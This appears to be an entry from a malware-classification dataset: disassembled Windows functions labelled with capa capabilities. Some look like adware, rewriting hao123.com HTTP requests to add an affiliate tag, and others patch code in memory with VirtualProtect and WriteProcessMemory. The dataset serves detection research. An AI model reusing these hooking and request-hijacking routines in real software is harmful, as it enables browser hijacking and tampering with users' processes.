joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100031c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100059a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [esp + 0x2c]
mov esi, ecx
push edi
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString_2
push str.Host:_www.hao123.com
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0
call sub.MFC42.DLL_CString::Find
test eax, eax
jle 0x10003338
push str.GET___
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::Find
test eax, eax
jne 0x1000322d
push str.GET___tn32044076_1_hao_pg
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::Find
test eax, eax
jne 0x10003243
push str.GET___HTTP
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::Find
test eax, eax
jne 0x10003338
push str.__tn32044076_1_hao_pg
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_2
push ecx
lea eax, [esp + 0x10]
mov bl, 1
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
mov byte [esp + 0x2c], bl
call sub.MFC42.DLL_CString::CString_1
push ecx
lea edx, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
mov byte [esp + 0x30], 2
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x18]
mov ecx, esi
push eax
mov byte [esp + 0x30], bl
call fcn.10002000
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 3
call fcn.1000523c
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], bl
call sub.MFC42.DLL_CString::CString
push str.User_Agent:
push ecx
lea edx, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x18]
mov ecx, esi
push eax
call fcn.10002940
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 4
call fcn.1000523c
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], bl
call sub.MFC42.DLL_CString::CString
push edi
push ecx
lea edx, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x20], esp
push edx
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
call fcn.10002820
lea ecx, [esp + 0xc]
mov esi, eax
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, esi
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 4
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret 4
Function at 0x10003af0
Capabilities:
Read file via mapping

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push edi
test ebp, ebp
jne 0x10003b03
pop edi
pop ebp
xor eax, eax
pop ebx
ret 8
mov ecx, dword [esp + 0x14]
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push str.JTWZHOMEPAGESharedData
and ecx, 3
push 0
rep stosb byte es:[edi], al
push 6
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
mov ebx, eax
push 0
push 0xf001f
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
jne 0x10003b46
pop edi
pop ebp
pop ebx
ret 8
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
pop ebp
mov eax, 1
pop ebx
ret 8
Function at 0x100044d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x208
lea eax, [esp]
push esi
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftInternet_ExplorerMain
push 0x80000002
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0x200
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000450e
push 0x10008038
jmp 0x1000453c
mov eax, dword [esp + 4]
lea ecx, [esp + 8]
lea edx, [esp + 0xc]
push ecx
push edx
push 0
push 0
push str.WHBarId
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10004537
push 0x10008038
jmp 0x1000453c
lea ecx, [esp + 0xc]
push ecx
mov esi, dword [esp + 0x214]
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov eax, esi
pop esi
add esp, 0x208
ret 4

Function at 0x100045a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x20
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push ebp
push esi
push edi
mov edi, dword [esp + 0x40]
mov ebp, ecx
push 0x40
push edi
mov dword [esp + 0x18], ebp
call ebx
test eax, eax
jne 0x10004646
mov esi, dword [edi + 0x3c]
push 0xf8
add esi, edi
push esi
call ebx
test eax, eax
jne 0x10004646
mov esi, dword [esi + 0x80]
add esi, edi
je 0x10004646
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10004646
mov ebx, dword [esp + 0x34]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push 0x14
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10004646
mov eax, dword [esi + 0xc]
push ebx
add eax, edi
push eax
call ebp
test eax, eax
je 0x10004614
mov eax, dword [esi + 0x20]
add esi, 0x14
test eax, eax
jne 0x100045f0
mov eax, dword [esi + 0xc]
mov ebp, dword [esp + 0x10]
test eax, eax
je 0x10004646
mov esi, dword [esi + 0x10]
add esi, edi
mov eax, dword [esi]
test eax, eax
je 0x10004646
mov ebx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov dword [ebp + 4], eax
mov dword [ebp + 8], ebx
cmp dword [esi], ecx
je 0x10004652
mov eax, dword [esi + 4]
add esi, 4
test eax, eax
jne 0x10004632
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 0x10
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x14]
push 0x1c
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [esp + 0x28]
push ecx
push 4
push edx
push eax
call edi
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x40]
mov dword [esi], ebx
push ecx
mov ecx, dword [esp + 0x18]
push edx
push eax
push ecx
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret 0x10
Function at 0x10004720
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x30
push ebx
push esi
mov esi, dword [esp + 0x3c]
xor ecx, ecx
mov bl, 4
push edi
mov ax, word [esi]
mov byte [esp + 0x11], bl
test ax, ax
mov byte [esp + 0x10], bl
jne 0x10004747
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x30
ret
cmp ax, 0xffff
jne 0x10004756
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x30
ret
mov dl, byte [esi]
inc esi
mov byte [esp + 0xc], dl
mov eax, dword [esp + 0xc]
and eax, 0xff
mov eax, dword [eax*4 + 0x1000770c]
test al, 0xf8
je 0x100047a8
test ecx, eax
jne 0x100047d4
or ecx, eax
test al, 0x10
je 0x10004780
xor bl, 6
jmp 0x10004789
test al, 0x20
je 0x10004789
xor byte [esp + 0x11], 6
mov dl, byte [esi]
inc esi
mov byte [esp + 0xc], dl
mov eax, dword [esp + 0xc]
and eax, 0xff
mov eax, dword [eax*4 + 0x1000770c]
test al, 0xf8
jne 0x10004771
mov byte [esp + 0x10], bl
or ecx, eax
cmp dl, 0xf
jne 0x100047e1
mov al, byte [esi]
inc esi
mov byte [esp + 0xc], al
mov eax, dword [esp + 0xc]
and eax, 0xff
or ecx, dword [eax*4 + 0x10007b0c]
cmp ecx, 0xffffffff
jne 0x100047fd
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x30
ret
pop edi
mov byte [esp + 0xc], bl
pop esi
xor eax, eax
pop ebx
add esp, 0x30
ret
cmp dl, 0xf7
jne 0x100047f0
test byte [esi], 0x38
jne 0x100047fd
or ch, 0x20
jmp 0x100047fd
cmp dl, 0xf6
jne 0x100047fd
test byte [esi], 0x38
jne 0x100047fd
or ch, 1
test ch, 0x40
je 0x1000486c
mov al, byte [esi]
inc esi
mov bl, al
and bl, 0x38
cmp bl, 0x20
jne 0x1000481a
cmp dl, 0xff
jne 0x1000481a
or ecx, 0x40000
mov dl, al
and al, 7
and dl, 0xc0
cmp dl, 0xc0
je 0x1000486c
cmp byte [esp + 0x10], 4
jne 0x10004856
cmp al, 4
jne 0x10004839
mov al, byte [esi]
or ch, 8
inc esi
and al, 7
cmp dl, 0x40
jne 0x10004843
or ecx, 1
jmp 0x1000486c
cmp dl, 0x80
jne 0x1000484d
or ecx, 4
jmp 0x1000486c
cmp al, 5
jne 0x1000486c
or ecx, 4
jmp 0x1000486c
cmp dl, 0x40
jne 0x10004860
or ecx, 1
jmp 0x1000486c
cmp dl, 0x80
je 0x10004869
cmp al, 6
jne 0x1000486c
or ecx, 2
push ebp
mov ebp, ecx
mov ebx, ecx
shr ebp, 8
and ebx, 7
and ebp, 7
test ch, 0x10
je 0x1000488b
mov edx, dword [esp + 0x14]
and edx, 0xff
add ebx, edx
test ch, 0x20
je 0x1000489b
mov eax, dword [esp + 0x15]
and eax, 0xff
add ebp, eax
xor edi, edi
test ebx, ebx
jbe 0x100048b8
push 0x10008038
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov cl, byte [esi]
inc esi
mov byte [esp + edi + 0x30], cl
inc edi
cmp edi, ebx
jb 0x100048a1
xor edi, edi
test ebp, ebp
jbe 0x100048d5
push 0x10008038
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dl, byte [esi]
inc esi
mov byte [esp + edi + 0x38], dl
inc edi
cmp edi, ebp
jb 0x100048be
mov eax, dword [esp + 0x44]
pop ebp
sub esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 0x30
ret
Function at 0x10004910
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push edi
push 5
mov ebx, dword [ebp + 8]
mov dword [esp + 0x14], 0
push ebx
call fcn.100046e0
mov esi, eax
mov eax, dword [ebp + 0xc]
add esp, 8
mov dword [ebp + 4], esi
test eax, eax
je 0x10004ab5
test ebx, ebx
je 0x10004ab5
test esi, esi
je 0x10004ab5
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
mov dword [esp + 0x14], edi
jne 0x10004972
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
add esp, 0xc
ret
lea eax, [esi + 5]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp], eax
test eax, eax
jne 0x100049a4
push edi
mov dword [esp + 0x14], 3
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
mov ecx, esi
mov eax, 0x90909090
mov edx, ecx
push ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
mov ecx, dword [esp + 0x18]
push eax
push ecx
call fcn.10004ad0
mov edx, dword [ebp]
lea ecx, [esi + ebx]
lea eax, [edx + esi]
push eax
push ecx
push eax
call fcn.10004ad0
mov eax, dword [ebp]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0x18
lea edx, [esp + 0x18]
push edx
push 0x40
push esi
push eax
call edi
test eax, eax
jne 0x10004a01
mov dword [esp + 0x10], 4
jmp 0x10004a8e
lea ecx, [esp + 0x18]
push ecx
push 0x40
push esi
push ebx
call edi
test eax, eax
jne 0x10004a1a
mov dword [esp + 0x10], 4
jmp 0x10004a8e
mov eax, dword [ebp]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edx, [esp + 0x20]
push edx
push esi
push eax
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10004a86
cmp dword [esp + 0x20], esi
jne 0x10004a86
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push esi
push edx
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10004a7c
cmp dword [esp + 0x20], esi
jne 0x10004a7c
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push eax
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10004a9b
mov dword [esp + 0x10], 6
jmp 0x10004a8e
mov dword [esp + 0x10], 5
mov edx, dword [ebp]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov edi, dword [esp + 0x14]
push edi
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xc
ret
Function at 0x4011e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
lea eax, [ebp - 8]
push eax
xor ebx, ebx
mov edi, 1
push edi
push ebx
push str.SOFTWAREATIACESETTINGSCLI
push 0x80000002
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x14], ebx
call dword [section..rdata]
mov esi, eax
cmp esi, ebx
jne 0x401259
mov eax, dword [ebp - 8]
mov esi, dword [0x407028]
lea ecx, [ebp - 4]
push ecx
push ebx
lea edx, [ebp - 0x10]
push edx
push ebx
push str.DELAY
push eax
call esi
mov ecx, dword [ebp - 4]
push ecx
call fcn.00401ade
mov ecx, dword [ebp - 8]
add esp, 4
lea edx, [ebp - 4]
push edx
push eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push str.DELAY
push ecx
call esi
mov esi, eax
mov edx, dword [ebp - 8]
push edx
call dword [0x407024]
cmp esi, ebx
jne 0x401317
mov eax, dword [ebp - 0xc]
push eax
call fcn.00401b74
add esp, 4
cmp eax, 0xffffffff
jge 0x40128c
neg eax
cmp eax, 0x12c
jle 0x4012c4
mov eax, 0x12c
jmp 0x4012c8
jne 0x40127e
mov eax, dword [ebp + 8]
mov ecx, str.MSRun
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4012b6
test dl, dl
je 0x4012b2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4012b6
add eax, 2
add ecx, 2
test dl, dl
jne 0x401296
xor eax, eax
jmp 0x4012bb
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x401317
mov dword [ebp - 0x14], edi
jmp 0x401317
cmp eax, ebx
jle 0x401317
imul eax, eax, 0x3e8
push ebx
push eax
push ebx
push ebx
call dword [0x40712c]
mov esi, dword [0x407128]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x30]
push ecx
mov edi, eax
call esi
test eax, eax
je 0x401317
mov ebx, 0x113
cmp dword [ebp - 0x2c], ebx
jne 0x4012fc
cmp edi, dword [ebp - 0x28]
je 0x40130e
push 0
push 0
push 0
lea edx, [ebp - 0x30]
push edx
call esi
test eax, eax
jne 0x4012f2
jmp 0x401317
push edi
push 0
call dword [0x407124]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
test eax, eax
je 0x40132a
push eax
call fcn.00401b7f
add esp, 4
xor eax, eax
cmp dword [ebp - 0x14], eax
sete al
mov esp, ebp
pop ebp
ret
Function at 0x401670
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SOFTWAREATIACEPACKAGESCORE_STATIC
push 0x80000002
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 1
call dword [section..rdata]
test eax, eax
jne 0x4016e3
mov esi, dword [0x407028]
lea ecx, [ebp - 4]
push ecx
push eax
lea edx, [ebp - 0xc]
push edx
push eax
mov eax, dword [ebp - 8]
push str.LOCATION
push eax
call esi
mov ecx, dword [ebp - 4]
push ecx
call fcn.00401ade
mov ecx, dword [ebp - 8]
add esp, 4
lea edx, [ebp - 4]
push edx
mov edi, eax
push edi
lea eax, [ebp - 0xc]
push eax
push 0
push str.LOCATION
push ecx
call esi
jmp 0x4016e6
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
push edx
call dword [0x407024]
cmp dword [ebp - 4], 0
jne 0x40171d
push 6
mov dword [ebp - 4], 6
call fcn.00401ade
mov esi, eax
mov eax, dword [ebp - 4]
push 0x4092c4
push eax
push esi
call fcn.00401c58
add esp, 0x10
jmp 0x4017b3
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401722
sub eax, edx
cmp byte [eax + edi - 1], 0x5c
mov eax, edi
lea edx, [eax + 1]
jne 0x401770
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401737
sub eax, edx
add eax, 6
push eax
mov dword [ebp - 4], eax
call fcn.00401ade
mov ecx, dword [ebp - 4]
push 0x4092c4
mov esi, eax
push ecx
push esi
call fcn.00401c58
mov edx, dword [ebp - 4]
push edi
push edx
push esi
call fcn.00401cb7
add esp, 0x1c
jmp 0x4017b3
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401770
sub eax, edx
add eax, 7
push eax
mov dword [ebp - 4], eax
call fcn.00401ade
mov esi, eax
mov eax, dword [ebp - 4]
push 0x4092c4
push eax
push esi
call fcn.00401c58
mov ecx, dword [ebp - 4]
push edi
push ecx
push esi
call fcn.00401cb7
mov edx, dword [ebp - 4]
push 0x4092c8
push edx
push esi
call fcn.00401cb7
add esp, 0x28
mov eax, dword [ebp - 4]
push 0x40928c
push eax
push esi
call fcn.00401cb7
mov ecx, dword [ebp - 4]
push 0x4092c4
push ecx
push esi
call fcn.00401cb7
add esp, 0x18
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4017e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [0x40b850]
push esi
lea eax, [ebp - 8]
push eax
push 1
xor esi, esi
push esi
push str.SOFTWAREATIACESETTINGSCLI
push ecx
mov dword [ebp - 0xc], 0x104
call dword [section..rdata]
test eax, eax
jne 0x40185a
mov edx, dword [ebp - 8]
push edi
mov edi, dword [0x407024]
push edx
call edi
lea ecx, [ebp - 4]
call fcn.00401870
test eax, eax
jne 0x401852
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea esi, [eax + 1]
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push ecx
push 0x40b84c
push 0
push edx
push eax
call dword [0x407028]
test eax, eax
je 0x40184c
xor esi, esi
mov ecx, dword [ebp - 4]
push ecx
call edi
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c2e0
Capabilities:
Get file version info

Disassembly:
push 0xffffffffffffffff
push 0x527edd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x820
mov eax, dword [esp + 0x830]
push ebx
push esi
push edi
mov edi, dword [eax]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xor ebx, ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], ebx
push ecx
push edx
call sub.version.dll_GetFileVersionInfoSizeA
mov esi, eax
cmp esi, ebx
jne 0x40c34a
xor al, al
jmp 0x40c491
lea eax, [esp + 0x1f]
push ebx
push eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x83c], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call fcn.005124c0
push esi
mov byte [esp + 0x838], 1
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [eax + esi]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
lea edx, [esp + 0x13]
mov byte [esp + 0x838], 3
push edx
push esi
push eax
mov byte [esp + 0x1f], bl
call fcn.00493c10
add esp, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push esi
push ebx
push ecx
mov dword [esp + 0x844], 4
call sub.version.dll_GetFileVersionInfoA
test eax, eax
jne 0x40c3f3
mov eax, dword [esp + 0x10]
mov dword [esp + 0x834], 5
cmp eax, ebx
je 0x40c46c
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x18]
sub edx, eax
push edx
push eax
call fcn.004fdfd0
xor al, al
jmp 0x40c491
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x28]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0x57622c
push edx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x38], ebx
call sub.version.dll_VerQueryValueA
test eax, eax
jne 0x40c440
mov eax, dword [esp + 0x10]
mov dword [esp + 0x834], 6
cmp eax, ebx
je 0x40c43c
mov ecx, dword [esp + 0x18]
sub ecx, eax
push ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004fdfd0
xor al, al
jmp 0x40c491
mov esi, dword [esp + 0x20]
cmp esi, ebx
jne 0x40c470
mov eax, dword [esp + 0x10]
mov dword [esp + 0x834], 7
cmp eax, ebx
je 0x40c46c
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x18]
sub edx, eax
push edx
push eax
call fcn.004fdfd0
xor al, al
jmp 0x40c491
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x840]
mov ecx, 0xd
cmp eax, ebx
rep movsd dword es:[edi], dword [esi]
je 0x40c48f
push eax
call fcn.005265a0
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x82c]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x82c
ret
Function at 0x40c620
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x527f10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebp
push esi
mov esi, dword [esp + 0x30]
push edi
lea eax, [esp + 0x18]
push esi
push eax
call fcn.00421460
add esp, 8
lea ecx, [esp + 0x34]
push 0
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call fcn.005124c0
push 8
mov byte [esp + 0x30], 3
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
lea edx, [eax + 8]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edx
mov byte [eax], 0
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
push ecx
mov byte [esp + 0x38], 4
call fcn.0040c4b0
mov edx, dword [esp + 0x18]
mov eax, dword [esi]
mov edi, dword [esp + 0x44]
add esp, 0xc
mov ebp, dword [edi]
push 1
push 0xffffffffffffffff
push edx
push eax
push 0x576248
call fcn.004c2ae0
add esp, 0xc
push eax
push 4
push edi
call dword [ebp + 0x1c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebp
test eax, eax
je 0x40c6e4
push eax
call fcn.005265a0
add esp, 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40c6f5
push eax
call fcn.005265a0
add esp, 4
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x4193c0
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x52a029
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x30]
push esi
add ecx, 0x10
push eax
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00406250
add esp, 0xc
mov esi, dword [eax]
mov eax, dword [0x57f188]
push 0
push eax
mov ecx, dword [eax]
mov dword [esp + 0x2c], 0
call dword [ecx + 0xc]
mov edx, dword [eax]
push 1
push esi
push eax
call dword [edx + 0x1c]
mov esi, eax
test esi, esi
mov dword [esp + 8], esi
je 0x419429
mov eax, dword [esi]
push 0x7fffffff
push 1
push esi
call dword [eax]
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 2
call fcn.00418e50
test esi, esi
je 0x419519
push edi
push 0xc4
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 4
mov dword [esp + 0x10], edi
test edi, edi
mov byte [esp + 0x28], 3
je 0x41949a
push 0x576798
mov ecx, edi
call fcn.00430530
lea edx, [esp + 0x38]
lea ecx, [edi + 0xac]
push edx
mov byte [esp + 0x2c], 5
call fcn.0050e020
lea eax, [esp + 0x30]
lea ecx, [edi + 0xb8]
push eax
mov byte [esp + 0x2c], 8
call fcn.0050e020
mov dword [edi], 0x545748
jmp 0x41949c
xor edi, edi
mov eax, dword [0x57f184]
push 0x575a50
push 2
push esi
mov ecx, dword [eax]
push eax
mov byte [esp + 0x38], 2
call dword [ecx + 0x10]
push eax
lea ecx, [esp + 0xc]
call fcn.00492a10
mov edx, dword [esp + 0x34]
push edi
push edi
lea eax, [esp + 0x10]
push edx
push eax
mov byte [esp + 0x38], 9
call fcn.0041cbf0
mov eax, dword [esp + 0x18]
add esp, 0x10
test eax, eax
mov byte [esp + 0x28], 2
je 0x4194f1
mov ecx, dword [eax]
push 0x7fffffff
push 1
push eax
call dword [ecx + 4]
mov edx, dword [esi]
push 0x7fffffff
push 1
push esi
mov dword [esp + 0x34], 0xffffffff
call dword [edx + 4]
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret
mov ecx, dword [esp + 0x1c]
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0x24
ret